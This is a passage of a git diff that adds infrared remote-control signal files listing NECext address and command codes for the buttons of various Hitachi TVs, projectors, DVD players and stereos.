00 +command: 5C 00 00 00 +# +name: PICTURE_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: -_(MINUS) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: PIP_INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: DAY/NIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5F 00 00 00 +# +name: PIP_FREEZE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 61 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 61 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 61 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 61 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 64 00 00 00 +# +name: ASPECT_16:9_STANDARD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 65 00 00 00 +# +name: ASPECT_16:9_ZOOM +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 66 00 00 00 +# +name: ASPECT_4:3_STANDARD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 67 00 00 00 +# +name: ASPECT_4:3_EXPAND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 68 00 00 00 +# +name: ASPECT_4:3_ZOOM1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 69 00 00 00 +# +name: ASPECT_4:3_ZOOM2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6A 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6F 00 00 00 +# +name: TV_ASPECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: TV_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: TV_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: TV_> +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: TV_< +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: DAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 74 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 75 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 76 00 00 00 +# +name: CHANNEL_/_PAGE_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: A0 00 00 00 +# +name: INPUT_RGB1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: A1 00 00 00 +# +name: SWIVEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: AC 00 00 00 +# +name: CHANNEL_/_PAGE_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: B0 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: C0 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: D0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir new file mode 100644 index 000000000..841aff4f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SCREEN_16:9 +type: parsed +protocol: NECext +address: 50 8F 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir new file mode 100644 index 000000000..a184eab72 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 02 00 00 00 +# +name: PINP +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 06 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 07 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 09 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0A 00 00 00 +# +name: AV1 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0B 00 00 00 +# +name: AV2 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0C 00 00 00 +# +name: AV3 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0D 00 00 00 +# +name: AV4 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 14 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 15 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 17 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 18 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 19 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir new file mode 100644 index 000000000..a5fbe47ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir new file mode 100644 index 000000000..0ef331254 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 40 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 43 00 00 00 +# +name: PSCAN100HZ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4D 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6C 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir new file mode 100644 index 000000000..55a2e5f31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: CH_I/II +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 08 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: Store +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: X_KEY_3D-SOUND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 45 00 00 00 +# +name: U.N.L. +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 46 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 47 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4C 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: Reveal +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: TV/TEXT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 66 00 00 00 +# +name: Picture +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 67 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 68 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 6B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: Sound+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: Sound- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir new file mode 100644 index 000000000..125985eca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 17 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 18 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 19 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 21 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 22 00 00 00 +# +name: Auto +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 24 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 28 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 2E 00 00 00 +# +name: Position +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 30 00 00 00 +# +name: Blank +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 41 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 52 00 00 00 +# +name: Volume +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 53 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 87 45 00 00 +command: 7A 00 00 00 +# +name: MagnifyOn +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B0 00 00 00 +# +name: MagnifyOff +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B3 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B4 00 00 00 +# +name: Keystone +type: parsed +protocol: NECext +address: 87 45 00 00 +command: B6 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D0 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D1 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D4 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D5 00 00 00 +# +name: End0 +type: parsed +protocol: NECext +address: 87 45 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir new file mode 100644 index 000000000..e247b719a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 00 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 02 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 03 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 05 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 07 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 08 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0A 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 0F 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 10 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 14 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 1F 00 00 00 +# +name: ABRepeat +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 22 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 23 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 24 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 25 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 26 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 27 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 2A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 2B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 2C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 2D 00 00 00 +# +name: DiscNav +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 32 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 3B 00 00 00 +# +name: SearchMode +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 3E 00 00 00 +# +name: Surround +type: parsed +protocol: NECext +address: 80 23 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir new file mode 100644 index 000000000..4033baa5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 02 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 07 00 00 00 +# +name: CASSETTE_TAPE_1/2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 09 00 00 00 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 12 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 13 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 14 00 00 00 +# +name: CD_SKIP_BACK +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 15 00 00 00 +# +name: CD_PROG +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 16 00 00 00 +# +name: CASSETTE_PLAY_FORWARD +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 19 00 00 00 +# +name: CASSETTE_PLAY_BACK +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1A 00 00 00 +# +name: CASSETTE_FFW +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1B 00 00 00 +# +name: CASSETTE_REW +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1C 00 00 00 +# +name: CASSETTE_STOP +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1D 00 00 00 +# +name: CASSETTE_REC +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 4F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 51 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 52 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 55 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 56 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 57 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5B 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir new file mode 100644 index 000000000..4c6ca54f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: X_KEY_1# +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: Off-Timer +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: X_KEY_2# +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: T.Mod +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: PMode+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 34 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: PMode- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3C 00 00 00 +# +name: PMode +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir new file mode 100644 index 000000000..a95f4d926 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: F.FWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: VISUAL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: F.ADV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir new file mode 100644 index 000000000..0cc7aec79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: but_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 